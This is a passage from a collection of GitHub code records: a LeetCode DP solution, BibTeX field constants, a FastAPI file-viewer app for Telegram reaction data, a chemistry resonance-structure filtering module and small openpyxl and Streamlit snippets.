scores: List[int], ages: List[int]) -> int:\n players = list(zip(scores, ages))\n players.sort(key=lambda x : x[0])\n players.sort(key=lambda x : x[1])\n\n # dp[i] means largest sum in players[:i+1] included i + 1\n # dp[i+1] = max(scores[i+1] + dp[j] where scores[j] < scores[i+1])\n # ans = max(dp)\n\n dp = [player[0] for player in players]\n\n for i in range(1,len(players)):\n for j in range(i):\n dp[i] = max(dp[j] + players[i][0],dp[i]) if players[i][0] >= players[j][0] else dp[i]\n\n return max(dp)","repo_name":"Cannizza-zzk/python_review","sub_path":"leetcode/1626.py","file_name":"1626.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16599154562","text":"ENTRY_TYPES = {\n 'article': {\n 'description': 'An article from a journal or magazine.',\n 'required': ('author', 'title', 'journal', 'year'),\n 'optional': ('volume', 'number', 'pages', 'month', 'note')\n },\n 'book': {\n 'description': 'A book with an explicit publisher.',\n 'required': (('author', 'editor'), 'title', 'publisher', 'year'),\n 'optional': (('volume', 'number'), 'series', 'address', 'edition',\n 'month', 'note')\n },\n 'booklet': {\n 'description': 'A work that is printed and bound, but without a named'\n ' publisher or sponsoring institution.',\n 'required': ('title',),\n 'optional': ('author', 'howpublished', 'address', 'month', 'year',\n 'note')\n },\n 'conference': {\n 'description': 'The same as inproceedings, included for Scribe'\n ' compatibility.',\n 'required': ('author', 'title', 'booktitle', 'year'),\n 'optional': ('editor', ('volume', 'number'), 'series', 'pages',\n 'address', 'month', 'organization', 'publisher', 'note')\n },\n 'inbook': {\n 'description': 'A part of a book, usually untitled. May be a chapter'\n ' (or section or whatever) and/or a range of pages.',\n 'required': (('author', 'editor'), 'title', ('chapter', 'pages'),\n 'publisher', 'year'),\n 'optional': (('volume', 'number'), 'series', 'type', 'address',\n 'edition', 'month', 'note')\n },\n 'incollection': {\n 'description': 'A part of a book having its own title.',\n 'required': ('author', 'title', 'booktitle', 'publisher', 'year'),\n 'optional': ('editor', ('volume', 'number'), 'series', 'type',\n 'chapter', 'pages', 'address', 'edition', 'month', 'note')\n },\n 'inproceedings': {\n 'description': 'An article in a conference proceedings.',\n 'required': ('author', 'title', 'booktitle', 'year'),\n 'optional': ('editor', ('volume', 'number'), 'series', 'pages',\n 'address', 'month', 'organization', 'publisher', 'note')\n },\n 'manual': {\n 'description': 'Technical documentation.',\n 'required': ('title',),\n 'optional': ('author', 'organization', 'address', 'edition', 'month',\n 'year', 'note')\n },\n 'mastersthesis': {\n 'description': 'A Master\\'s thesis.',\n 'required': ('author', 'title', 'school', 'year'),\n 'optional': ('type', 'address', 'month', 'note')\n },\n 'misc': {\n 'description': 'For use when nothing else fits.',\n 'required': (),\n 'optional': ('author', 'title', 'howpublished', 'month', 'year', 'note')\n },\n 'phdthesis': {\n 'description': 'A Ph.D. thesis.',\n 'required': ('author', 'title', 'school', 'year'),\n 'optional': ('type', 'address', 'month', 'note')\n },\n 'proceedings': {\n 'description': 'The proceedings of a conference.',\n 'required': ('title', 'year'),\n 'optional': ('editor', ('volume', 'number'), 'series', 'address',\n 'month', 'publisher', 'organization', 'note')\n },\n 'techreport': {\n 'description': 'A report published by a school or other institution,'\n ' usually numbered within a series.',\n 'required': ('author', 'title', 'institution', 'year'),\n 'optional': ('type', 'number', 'address', 'month', 'note')\n },\n 'unpublished': {\n 'description': 'A document having an author and title, but not formally'\n ' published.',\n 'required': ('author', 'title', 'note'),\n 'optional': ('month', 'year')\n }\n}\n\n\n# Other entry types. Not recommended.\nOTHER_ENTRY_TYPES = (\n 'collection',\n 'patent'\n)\n\n\n# Universally optional field names. These field names are optional for all\n# entry types.\nUNIV_OPT_FIELD_NAMES = (\n 'key', # Additional info for alphabetizing entries\n 'crossref' # Field text here is the cite key for another entry,\n 'url',\n 'crossref'\n)\n\n\n# Field names.\n# Note that 'eprint' and 'url' might also be in the standard fields, cf.\n# http://en.wikipedia.org/wiki/BibTeX#Bibliographic_information_file\nFIELD_NAMES = (\n 'address', # Usually the address of the publisher or other type of\n # institution. For major publishing houses, van Leunen\n # recommends omitting the information entirely. For small\n # publishers, on the other hand, you can help the reader by\n # giving the complete address.\n 'annote', # An annotation. It is not used by the standard\n # bibliography styles, but may be used by others that\n # produce an annotated bibliography.\n 'author', # The name(s) of the author(s), in the format described in\n # the LaTeX book.\n 'booktitle', # Title of a book, part of which is being cited. See the\n # LaTeX book for how to type titles. For book entries, use\n # the title field instead.\n 'chapter', # A chapter (or section or whatever) number.\n 'crossref', # The database key of the entry being cross referenced. Any\n # fields that are missing from the current record are\n # inherited from the field being cross referenced.\n 'edition', # The edition of a book---for example, ``Second''. This\n # should be an ordinal, and should have the first letter\n # capitalized, as shown here; the standard styles convert\n # to lower case when necessary.\n 'editor', # Name(s) of editor(s), typed as indicated in the LaTeX\n # book. If there is also an author field, then the editor\n # field gives the editor of the book or collection in which\n # the reference appears.\n 'howpublished', # How something strange has been published. The first word\n # should be capitalized.\n 'institution', # The sponsoring institution of a technical report.\n 'journal', # A journal name. Abbreviations are provided for many\n # journals.\n 'key', # Used for alphabetizing, cross referencing, and creating a\n # label when the ``author'' information is missing. This\n # field should not be confused with the key that appears in\n # the cite command and at the beginning of the database entry.\n 'month', # The month in which the work was published or, for an\n # unpublished work, in which it was written. You should use\n # the standard three-letter abbreviation, as described in\n # Appendix B.1.3 of the LaTeX book.\n 'note', # Any additional information that can help the reader. The\n # first word should be capitalized.\n 'number', # The number of a journal, magazine, technical report, or\n # of a work in a series. An issue of a journal or magazine is\n # usually identified by its volume and number; the\n # organization that issues a technical report usually gives\n # it a number; and sometimes books are given numbers in a\n # named series.\n 'organization', # The organization that sponsors a conference or that\n # publishes a manual.\n 'pages', # One or more page numbers or range of numbers, such as\n # 42--111 or 7,41,73--97 or 43+ (the `+' in this last example\n # indicates pages following that don't form a simple range).\n # To make it easier to maintain Scribe-compatible databases,\n # the standard styles convert a single dash (as in 7-33) to\n # the double dash used in TeX to denote number ranges (as in\n # 7--33).\n 'publisher', # The publisher's name.\n 'school', # The name of the school where a thesis was written.\n 'series', # The name of a series or set of books. When citing an\n # entire book, the the title field gives its title and an\n # optional series field gives the name of a series or\n # multi-volume set in which the book is published.\n 'title', # The work's title, typed as explained in the LaTeX book.\n 'type', # The type of a technical report---for example, ``Research\n # Note''.\n 'url', # The universal resource locator for online documents; this\n # is not standard but supplied by more modern bibliography\n # styles.\n 'volume', # The volume of a journal or multi-volume book.\n 'year' # The year of publication or, for an unpublished work, the\n # year it was written. Generally it should consist of four\n # numerals, such as 1984, although the standard styles can\n # handle any year whose last four nonpunctuation characters\n # are numerals, such as `\\hbox{(about 1984)}'.\n)\n\n\n# Other field names.\nOTHER_FIELD_NAMES = (\n 'affiliation', # The author's affiliation.\n 'abstract', # An abstract of the work.\n 'contents', # A Table of Contents\n 'copyright', # Copyright information.\n 'ISBN', # The International Standard Book Number.\n 'ISSN', # The International Standard Serial Number. Used to identify a journal.\n 'keywords', # Key words used for searching or possibly for annotation.\n 'language', # The language the document is in.\n 'location', # A location associated with the entry, such as the city in\n # which a conference took place.\n 'LCCN', # The Library of Congress Call Number. I've also seen this as lib-congress.\n 'mrnumber', # The Mathematical Reviews number.\n 'price', # The price of the document.\n 'size' # The physical dimensions of a work.\n)\n","repo_name":"dativebase/old-pyramid","sub_path":"old/lib/bibtex.py","file_name":"bibtex.py","file_ext":"py","file_size_in_byte":10307,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"} +{"seq_id":"25623480416","text":"from pathlib import Path\n\nimport uvicorn\nfrom fastapi import FastAPI, HTTPException\nfrom fastapi import Form, Response\nfrom fastapi.responses import FileResponse\nfrom fastapi.staticfiles import StaticFiles\nfrom fastapi.templating import Jinja2Templates\nfrom starlette.requests import Request\n\nfrom tg import *\n\napp = FastAPI()\n\napp.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\")\napp.mount(\"/data\", StaticFiles(directory=\"data\"), name=\"data\")\napp.mount(\"/favicon\", StaticFiles(directory=\"favicon\"), name=\"favicon\")\n\nif Path(\"node_modules\").exists() and Path(\"node_modules\").is_dir():\n app.mount(\"/node_modules\", StaticFiles(directory=\"node_modules\"), name=\"node\")\n\ntemplates = Jinja2Templates(directory=\"templates\")\ndata_folder = Path(\"data\")\n\n\ndef read_from_file():\n try:\n with open(\"config.json\", \"r\") as file:\n return json.load(file)\n except:\n return \"\"\n\n\ndef get_json_files_array():\n json_files = [file.name for file in data_folder.iterdir() if file.is_file() and file.suffix == \".json\"]\n return json_files[:4]\n\n\n@app.get(\"/\")\ndef read_root(request: Request, name: str = \"Visualiser\"):\n config = read_from_file()\n json_files = get_json_files_array()\n return templates.TemplateResponse(\"index.html\",\n {\"request\": request, \"name\": name, \"config\": config, \"files\": json_files})\n\n\n@app.post(\"/take_reactions/\")\nasync def submit_form(\n telegram_id: int = Form(...),\n telegram_hash: str = Form(...),\n post_limit: int = Form(...),\n post_offset: int = Form(...),\n channel_link: str = Form(...),\n\n):\n data = {\n \"telegram_id\": telegram_id,\n \"telegram_hash\": telegram_hash,\n \"post_limit\": post_limit,\n \"post_offset\": post_offset,\n \"channel_link\": channel_link\n }\n with open(\"config.json\", \"w\") as file:\n json.dump(data, file)\n\n await main()\n\n response = Response(status_code=302)\n response.headers[\"Location\"] = \"/\"\n return response\n\n\n@app.get(\"/list_files/\")\nasync def list_files():\n json_files = get_json_files_array()\n files = sorted(data_folder.glob('*.json'), key=lambda x: x.stat().st_mtime, reverse=True)\n if not files:\n return {\"files\": json_files,\n \"date\": \"00.00.0000\",\n \"time\": \"00:00\",\n }\n\n with files[0].open('r', encoding='utf-8') as f:\n data = json.load(f)\n\n return {\n \"files\": json_files,\n \"date\": data[\"date\"],\n \"time\": data[\"time\"]\n }\n\n\n@app.get(\"/download/{file_name}\")\nasync def download_file(file_name: str):\n file_path = data_folder / file_name\n if not file_path.exists() or not file_path.is_file():\n raise HTTPException(status_code=404, detail=\"File not found\")\n return FileResponse(file_path, filename=file_name, media_type=\"application/octet-stream\")\n\n\n@app.delete(\"/delete/{file_name}\")\nasync def delete_file(file_name: str):\n file_path = data_folder / file_name\n if not file_path.exists() or not file_path.is_file():\n raise HTTPException(status_code=404, detail=\"File not found\")\n file_path.unlink()\n return {\"status\": \"success\", \"message\": f\"Deleted {file_name}\"}\n\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host=\"localhost\", port=8000)\n","repo_name":"vvvlladimir/Attitude-Visualizer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3298,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"1371470693","text":"from itertools import combinations, product\nimport logging\nfrom typing import List, Optional, Union\n\nfrom rdmc.resonance.utils import (\n get_charge_span,\n get_electronegativity,\n get_lone_pair,\n get_order_str,\n get_radical_count,\n get_shortest_path,\n get_total_bond_order,\n is_aromatic,\n is_identical,\n unset_aromatic_flags,\n)\n\nfrom rdkit import Chem\n\n\nlogger = logging.getLogger(__name__)\n\n\n# Pure RDKit\ndef filter_structures(\n mol_list,\n allow_expanded_octet: bool = True,\n features: Optional[list] = None,\n **kwargs,\n):\n \"\"\"\n This function filters them out by minimizing the number of C/N/O/S atoms without a full octet, non-preferred\n charge separation, and non-preferred aromatic structures.\n\n Args:\n mol_list (list): The list of molecules to filter.\n allow_expanded_octet (bool, optional): Whether to allow expanded octets for third row elements.\n Default is ``True``.\n features (list, optional): A list of features of the species. Default is ``None``.\n kwargs (dict, optional): Additional keyword arguments. They are ignored, but included for compatibility.\n \"\"\"\n logger.debug(f\"Filter_structures: {len(mol_list)} structures are fed in.\")\n\n # 1. Remove structures with different multiplicities generated\n filtered_list = multiplicity_filtration(\n mol_list,\n ref_idx=0,\n )\n logger.debug(\n f\"Filter_structures: {len(filtered_list)} structures after removing ones with different multiplicities.\"\n )\n\n # 2. Filter mol_list using the octet rule and the respective octet deviation list\n filtered_list = octet_filtration(\n mol_list, allow_expanded_octet=allow_expanded_octet\n )\n logger.debug(\n f\"Filter_structures: {len(mol_list)} structures after octet filtration.\"\n )\n\n # 3. Filter by charge\n filtered_list = charge_filtration(filtered_list)\n logger.debug(\n f\"Filter_structures: {len(mol_list)} structures after charge filtration.\"\n )\n\n # 4. Filter aromatic structures\n if features is not None and features[\"is_aromatic\"]:\n filtered_list = aromaticity_filtration(\n filtered_list, features[\"isPolycyclicAromatic\"]\n )\n logger.debug(\n f\"Filter_structures: {len(mol_list)} structures after aromaticity filtration.\"\n )\n\n if not filtered_list:\n raise RuntimeError(\n f\"Could not determine representative localized structures for the input molecules.\"\n )\n\n # Originally RMG checks reactivity here, it is removed since it is not used in RDMC\n\n # Make sure that the (first) original structure is always first in the list.\n for index, filtered in enumerate(filtered_list):\n if is_identical(mol_list[0], filtered):\n filtered_list.insert(0, filtered_list.pop(index))\n break\n else:\n # Append the original structure to list\n filtered_list.insert(0, mol_list[0])\n\n return filtered_list\n\n\n# RDKit / RDMC compatible\ndef multiplicity_filtration(\n mol_list: List[Union[\"Mol\", \"RDKitMol\"]],\n ref_idx: int = 0,\n) -> List[Union[\"Mol\", \"RDKitMol\"]]:\n \"\"\"\n Returns a filtered list based on the multiplicity of the species.\n The multiplicity of the species is determined by the number of radical electrons in the species\n and only the one with the same multiplicity as the reference species (the first by default) is kept.\n\n Args:\n mol_list (list): The list of molecules to filter. Can be either RDKit Mol or RDMC RDKitMol.\n ref_idx (int, optional): The index of the reference molecule in ``mol_list``. Default is ``0``.\n\n Returns:\n list: The filtered list of molecules.\n \"\"\"\n ref_radical_count = get_radical_count(mol_list[ref_idx])\n return [mol for mol in mol_list if get_radical_count(mol) == ref_radical_count]\n\n\n# RDKit / RDMC compatible\ndef get_octet_deviation_list(\n mol_list: List[Union[\"Mol\", \"RDKitMol\"]], allow_expanded_octet: bool = True\n) -> List[float]:\n \"\"\"\n Get the octet deviations for a list of molecules.\n\n Args:\n mol_list (list): The list of molecules to get the octet deviations for.\n allow_expanded_octet (bool, optional): Whether to allow expanded octets for third row elements.\n Default is ``True``.\n\n Returns:\n list: The octet deviations for the molecules in ``mol_list``.\n \"\"\"\n return [\n get_octet_deviation(mol, allow_expanded_octet=allow_expanded_octet)\n for mol in mol_list\n ]\n\n\n# RDKit / RDMC compatible\ndef get_octet_deviation(\n mol: Union[\"Mol\", \"RDKitMol\"],\n allow_expanded_octet: bool = True,\n) -> float:\n \"\"\"\n Returns the octet deviation for a molecule.\n\n Args:\n mol (Mol or RDKitMol): The molecule to get the octet deviation for.\n allow_expanded_octet (bool, optional): Whether to allow expanded octets for third row elements.\n if `allow_expanded_octet` is ``True`` (by default),\n then the function also considers dectet for third row elements.\n Default is ``True``.\n\n Returns:\n float: The octet deviation for the molecule.\n \"\"\"\n # The overall \"score\" for the molecule, summed across all non-H atoms\n octet_deviation = 0\n for atom in mol.GetAtoms():\n atomic_num = atom.GetAtomicNum()\n if atomic_num == 1:\n continue\n num_lone_pair = get_lone_pair(atom)\n num_rad_elec = atom.GetNumRadicalElectrons()\n val_electrons = (\n 2 * (int(get_total_bond_order(atom)) + num_lone_pair) + num_rad_elec\n )\n if atomic_num in [6, 7, 8]:\n # expecting C/N/O to be near octet\n octet_deviation += abs(8 - val_electrons)\n elif atomic_num == 16:\n if not allow_expanded_octet:\n # If allow_expanded_octet is False, then adhere to the octet rule for sulfur as well.\n # This is in accordance with J. Chem. Educ., 1995, 72 (7), p 583, DOI: 10.1021/ed072p583\n # This results in O=[:S+][:::O-] as a representative structure for SO2 rather than O=S=O,\n # and in C[:S+]([:::O-])C as a representative structure for DMSO rather than CS(=O)C.\n octet_deviation += abs(8 - val_electrons)\n else:\n # If allow_expanded_octet is True, then do not adhere to the octet rule for sulfur\n # and allow dectet structures (but don't prefer duedectet).\n # This is in accordance with:\n # - J. Chem. Educ., 1972, 49 (12), p 819, DOI: 10.1021/ed049p819\n # - J. Chem. Educ., 1986, 63 (1), p 28, DOI: 10.1021/ed063p28\n # - J. Chem. Educ., 1992, 69 (10), p 791, DOI: 10.1021/ed069p791\n # - J. Chem. Educ., 1999, 76 (7), p 1013, DOI: 10.1021/ed076p1013\n # This results in O=S=O as a representative structure for SO2 rather than O=[:S+][:::O-],\n # and in CS(=O)C as a representative structure for DMSO rather than C[:S+]([:::O-])C.\n if num_lone_pair <= 1:\n octet_deviation += min(\n abs(8 - val_electrons),\n abs(10 - val_electrons),\n abs(12 - val_electrons),\n ) # octet/dectet on S p[0,1]\n # eg [O-][S+]=O, O[S]=O, OS([O])=O, O=S(=O)(O)O\n elif num_lone_pair >= 2:\n octet_deviation += abs(8 - val_electrons) # octet on S p[2,3]\n # eg [S][S], OS[O], [NH+]#[N+][S-][O-], O[S-](O)[N+]#N, S=[O+][O-]\n for bond in atom.GetBonds():\n atom2 = bond.GetOtherAtom(atom)\n if atom2.GetAtomicNum() == 16 and bond.GetBondType() == 3:\n # penalty for S#S substructures. Often times sulfur can have a triple\n # bond to another sulfur in a structure that obeys the octet rule, but probably shouldn't be a\n # correct resonance structure. This adds to the combinatorial effect of resonance structures\n # when generating reactions, yet probably isn't too important for reactivity. The penalty value\n # is 0.5 since S#S substructures are captured twice (once for each S atom).\n # Examples: CS(=O)SC <=> CS(=O)#SC;\n # [O.]OSS[O.] <=> [O.]OS#S[O.] <=> [O.]OS#[S.]=O; N#[N+]SS[O-] <=> N#[N+]C#S[O-]\n octet_deviation += 0.5\n # Penalize birad sites only if they theoretically substitute a lone pair.\n # E.g., O=[:S..] is penalized, but [C..]=C=O isn't.\n if num_rad_elec >= 2 and (\n (atomic_num == 7 and num_lone_pair == 0)\n or (atomic_num == 8 and num_lone_pair in [0, 1, 2])\n or (atomic_num == 16 and num_lone_pair in [0, 1, 2])\n ):\n octet_deviation += 3\n\n return octet_deviation\n\n\n# RDKit / RDMC compatible\ndef octet_filtration(\n mol_list: List[Union[\"Mol\", \"RDKitMol\"]],\n allow_expanded_octet: bool = True,\n):\n \"\"\"\n Filter with the octet deviation criterion to rule out unrepresentative structures.\n\n Args:\n mol_list (list): The list of molecules to filter.\n allow_expanded_octet (bool, optional): Whether to allow expanded octets for third row elements.\n\n Returns:\n list: The filtered list of molecules.\n \"\"\"\n octet_deviation_list = get_octet_deviation_list(\n mol_list, allow_expanded_octet=allow_expanded_octet\n )\n min_octet_deviation = min(octet_deviation_list)\n return [\n mol\n for mol, octet_deviation in zip(mol_list, octet_deviation_list)\n if octet_deviation == min_octet_deviation\n ]\n\n\n# Pure RDKit\ndef get_charge_span_list(mol_list: list) -> List[float]:\n \"\"\"\n Get the list of charge spans for a list of molecules.\n This is also calculated in the octet_filtration() function along with the octet filtration process.\n\n Args:\n mol_list (list): The list of molecules to get the charge spans for.\n\n Returns:\n list: The charge spans for the molecules in `mol_list`.\n \"\"\"\n return [get_charge_span(mol) for mol in mol_list]\n\n\n# Pure RDKit\ndef charge_filtration(mol_list: list) -> list:\n \"\"\"\n Returns a new filtered_list, filtered based on charge_span, electronegativity and proximity considerations.\n If structures with an additional charge layer introduce new reactive sites (i.e., radicals or multiple bonds) they will\n also be considered. For example:\n\n - Both of NO2's resonance structures will be kept: [O]N=O <=> O=[N+.][O-]\n - NCO will only have two resonance structures [N.]=C=O <=> N#C[O.], and will loose the third structure which has\n the same octet deviation, has a charge separation, but the radical site has already been considered: [N+.]#C[O-]\n - CH2NO keeps all three structures, since a new radical site is introduced: [CH2.]N=O <=> C=N[O.] <=> C=[N+.][O-]\n - NH2CHO has two structures, one of which is charged since it introduces a multiple bond: NC=O <=> [NH2+]=C[O-]\n\n However, if the species is not a radical, or multiple bonds do not alter, we only keep the structures with the\n minimal charge span. For example:\n\n - NSH will only keep the N#S form and not [N-]=[SH+]\n - The following species will loose two thirds of its resonance structures, which are charged: CS(=O)SC <=>\n CS(=O)#SC <=> C[S+]([O-]SC <=> CS([O-])=[S+]C <=> C[S+]([O-])#SC <=> C[S+](=O)=[S-]C\n - Azide is know to have three resonance structures: [NH-][N+]#N <=> N=[N+]=[N-] <=> [NH+]#[N+][N-2];\n\n Args:\n mol_list (list): The list of molecules to filter.\n\n Returns:\n list: The filtered list of molecules.\n \"\"\"\n charge_span_list = get_charge_span_list(mol_list)\n min_charge_span = min(charge_span_list)\n\n filtered_list = mol_list\n\n if len(set(charge_span_list)) > 1:\n # Proceed if there are structures with different charge spans\n charged_list = [\n filtered_mol\n for index, filtered_mol in enumerate(filtered_list)\n if charge_span_list[index] == min_charge_span + 1\n ] # save the 2nd charge span layer\n filtered_list = [\n filtered_mol\n for index, filtered_mol in enumerate(filtered_list)\n if charge_span_list[index] == min_charge_span\n ] # the minimal charge span layer\n rad_idxs, mul_bond_idxs = set(), set()\n for mol in filtered_list:\n for atom in mol.GetAtoms():\n if atom.GetNumRadicalElectrons():\n rad_idxs.add(atom.GetIdx())\n for bond in mol.GetBonds():\n if bond.GetBondType() in [2, 3]:\n mul_bond_idxs.add(\n tuple(sorted((bond.GetBeginAtomIdx(), bond.GetEndAtomIdx())))\n )\n unique_charged_list = [\n mol\n for mol in charged_list\n if has_unique_sites(mol, rad_idxs, mul_bond_idxs)\n ]\n\n # Charge stabilization considerations for the case where there are several charge span layers\n # are checked here for filtered_list and unique_charged_list separately.\n if min_charge_span:\n filtered_list = stabilize_charges_by_electronegativity(filtered_list)\n filtered_list = stabilize_charges_by_proximity(filtered_list)\n if unique_charged_list:\n unique_charged_list = stabilize_charges_by_electronegativity(\n unique_charged_list, allow_empty_list=True\n )\n unique_charged_list = stabilize_charges_by_proximity(unique_charged_list)\n filtered_list.extend(unique_charged_list)\n\n if min_charge_span:\n filtered_list = stabilize_charges_by_electronegativity(filtered_list)\n filtered_list = stabilize_charges_by_proximity(filtered_list)\n\n return filtered_list\n\n\n# RDKit / RDMC Compatible\ndef has_unique_sites(\n mol,\n rad_idxs: set,\n mul_bond_idxs: set,\n) -> bool:\n \"\"\"\n Check if a resonance structure has unique radical and multiple bond sites that are not present in other structures.\n\n Args:\n mol (Mol or RDKitMol): The molecule to check.\n rad_idxs (set): The set of radical sites in the other structures.\n mul_bond_idxs (set): The set of multiple bond sites in the other structures.\n\n Returns:\n bool: ``True`` if the structure has unique radical and multiple bond sites, ``False`` otherwise.\n \"\"\"\n for atom in mol.GetAtoms():\n if atom.GetNumRadicalElectrons() and atom.GetIdx() not in rad_idxs:\n return True\n for bond in mol.GetBonds():\n bond_idx = tuple(sorted((bond.GetBeginAtomIdx(), bond.GetEndAtomIdx())))\n if (\n (bond.GetBondType() in [2, 3])\n and bond_idx not in mul_bond_idxs\n and not (\n bond.GetBeginAtom().GetAtomicNum()\n == bond.GetEndAtom().GetAtomicNum()\n == 16\n )\n ):\n # We check that both atoms aren't S, otherwise we get [S.-]=[S.+] as a structure of S2 triplet\n return True\n return False\n\n\n# Oxonium template for electronegativity considerations\ntemplate = Chem.MolFromSmarts(\"[O+X{1-3};!$([O+]-F)]\")\n\n\n# RDKit / RDMC compatible\ndef stabilize_charges_by_electronegativity(\n mol_list: list,\n allow_empty_list: bool = False,\n) -> list:\n \"\"\"\n Only keep structures that obey the electronegativity rule. If a structure must have charge separation, negative\n charges will be assigned to more electronegative atoms, and vice versa.\n\n Args:\n mol_list (list): The list of molecules to filter.\n allow_empty_list (bool, optional): Whether to allow an empty list to be returned. Default is ``False``.\n If allow_empty_list is set to ``False``, and all structures in `mol_list` violate the\n electronegativity heuristic, this function will return the original ``mol_list``.\n (examples: [C-]#[O+], CS, [NH+]#[C-], [OH+]=[N-], [C-][S+]=C violate this heuristic).\n \"\"\"\n mol_list_copy = []\n for mol in mol_list:\n X_positive = X_negative = 0\n for atom in mol.GetAtoms():\n charge = atom.GetFormalCharge()\n if charge > 0:\n X_positive += get_electronegativity(atom) * abs(charge)\n elif charge < 0:\n X_negative += get_electronegativity(atom) * abs(charge)\n # The following treatment is introduced in RMG\n # However, the condition is weird (asking for O-[F-] which is not valid)\n # The current implementation loosen the condition to [O+]-F and use substructure matching\n # The following is a comment from RMG along with the original code:\n # as in [N-2][N+]#[O+], [O-]S#[O+], OS(S)([O-])#[O+], [OH+]=S(O)(=O)[O-], [OH.+][S-]=O.\n # [C-]#[O+] and [O-][O+]=O, which are correct structures, also get penalized here, but that's OK\n # since they are still eventually selected as representative structures according to the rules here\n X_positive += len(mol.GetSubstructMatches(template))\n\n if X_positive <= X_negative:\n # Filter structures in which more electronegative atoms are positively charged.\n # This condition is NOT hermetic: It is possible to think of a situation where one structure has\n # several pairs of formally charged atoms, where one of the pairs isn't obeying the\n # electronegativity rule, while the sum of the pairs does.\n mol_list_copy.append(mol)\n\n if mol_list_copy or allow_empty_list:\n return mol_list_copy\n return mol_list\n\n\npos_atom_pattern = Chem.MolFromSmarts(\"[+]\")\nneg_atom_pattern = Chem.MolFromSmarts(\"[-]\")\n\n\n# Pure RDKit\ndef get_charge_distance(mol: \"RWMol\") -> tuple:\n \"\"\"\n Get the cumulated charge distance for similar charge and difference charge pairs, respectively.\n\n Args:\n mol (RWMol): The molecule to check.\n\n Returns:\n tuple: The cumulated charge distance for similar charge and difference charge pairs, respectively.\n \"\"\"\n pos_atoms = [a[0] for a in mol.GetSubstructMatches(pos_atom_pattern)]\n neg_atoms = [a[0] for a in mol.GetSubstructMatches(neg_atom_pattern)]\n\n cumulative_similar_charge_distance = sum(\n [\n len(get_shortest_path(mol, a1, a2))\n for a1, a2 in combinations(pos_atoms, 2)\n ]\n )\n cumulative_similar_charge_distance += sum(\n [\n len(get_shortest_path(mol, a1, a2))\n for a1, a2 in combinations(neg_atoms, 2)\n ]\n )\n cumulative_opposite_charge_distance = sum(\n [\n len(get_shortest_path(mol, a1, a2))\n for a1, a2 in product(pos_atoms, neg_atoms)\n ]\n )\n return cumulative_opposite_charge_distance, cumulative_similar_charge_distance\n\n\n# Pure RDKit\ndef stabilize_charges_by_proximity(mol_list: list) -> list:\n \"\"\"\n Only keep structures that obey the charge proximity rule.\n Opposite charges will be as close as possible to one another, and vice versa.\n\n Args:\n mol_list (list): The list of molecules to filter.\n\n Returns:\n list: The filtered list of molecules.\n \"\"\"\n if not mol_list:\n return mol_list\n\n charge_distance_list = [get_charge_distance(mol) for mol in mol_list]\n min_cumulative_opposite_charge_distance = min(\n [distances[0] for distances in charge_distance_list],\n default=0,\n )\n # The stepwise filtering is based on the RMG original implementation\n mol_list, charge_distance_list = zip(\n *[\n (mol_list[i], dist)\n for i, dist in enumerate(charge_distance_list)\n if dist[0] <= min_cumulative_opposite_charge_distance\n ]\n )\n max_cumulative_similar_charge_distance = max(\n [distances[1] for distances in charge_distance_list],\n default=0,\n )\n return [\n mol_list[i]\n for i, dist in enumerate(charge_distance_list)\n if dist[0] >= max_cumulative_similar_charge_distance\n ]\n\n\n# RDKit / RDMC compatible\ndef aromaticity_filtration(\n mol_list: list,\n is_polycyclic_aromatic: bool = False,\n) -> list:\n \"\"\"\n Returns a filtered list of molecules based on heuristics for determining\n representative aromatic resonance structures.\n\n For monocyclic aromatics, Kekule structures are removed, with the\n assumption that an equivalent aromatic structure exists. Non-aromatic\n structures are maintained if they present new radical sites. Instead of\n explicitly checking the radical sites, we only check for the SDSDSD bond\n motif since radical delocalization will disrupt that pattern.\n\n For polycyclic aromatics, structures without any benzene bonds are removed.\n The idea is that radical delocalization into the aromatic pi system is\n unfavorable because it disrupts aromaticity. Therefore, structures where\n the radical is delocalized so far into the molecule such that none of the\n rings are aromatic anymore are not representative. While this isn't strictly\n true, it helps reduce the number of representative structures by focusing\n on the most important ones.\n\n Args:\n mol_list (list): The list of molecules to filter.\n is_polycyclic_aromatic (bool, optional): Whether the species is polycyclic aromatic. Default is ``False``.\n\n Returns:\n list: The filtered list of molecules.\n \"\"\"\n # Start by selecting all aromatic resonance structures\n filtered_list = []\n other_list = []\n for mol in mol_list:\n if is_aromatic(mol):\n filtered_list.append(mol)\n else:\n other_list.append(mol)\n\n if not is_polycyclic_aromatic:\n # Look for structures that don't have standard SDSDSD bond orders\n for mol in other_list:\n # Check all 6 membered rings\n # rings = [ring for ring in mol.get_relevant_cycles() if len(ring) == 6]\n # RDKit doesn't have a support to get all relevant cycles...\n # Temporarily use the BondRings as a rough fix\n # TODO: Implement pyrdl to get all relevant cycles which doesn't have full support\n # TODO: for different python versions and different OS\n # TODO: Another workaround maybe temporarily ignore polycyclic aromatics\n bond_lists = [\n ring for ring in mol.GetRingInfo().BondRings() if len(ring) == 6\n ]\n for bond_list in bond_lists:\n bond_orders = \"\".join(\n [get_order_str(mol.GetBondWithIdx(bond)) for bond in bond_list]\n )\n if bond_orders == \"SDSDSD\" or bond_orders == \"DSDSDS\":\n break\n else:\n filtered_list.append(mol)\n\n return filtered_list\n","repo_name":"xiaoruiDong/RDMC","sub_path":"rdmc/resonance/filtration.py","file_name":"filtration.py","file_ext":"py","file_size_in_byte":23171,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"47"} +{"seq_id":"24936728798","text":"from openpyxl import Workbook\nfrom random import *\n\nwb = Workbook()\nws = wb.active\n\n# 1줄씩 넣기\nws.append([\"번호\", \"영어\", \"수학\"]) # 한줄씩 넣을 때 리스트 형태로 입력\nfor i in range(1, 11):\n\tws.append([i, randint(0, 100), randint(0, 100)])\n","repo_name":"951237/python_openpyxl","sub_path":"201209_TIL_openpyxl_셀 범위_입력하기.py","file_name":"201209_TIL_openpyxl_셀 범위_입력하기.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4712060643","text":"import streamlit as st\nimport pickle as pkl\nfrom streamlit_option_menu import option_menu\n\n# Loading the 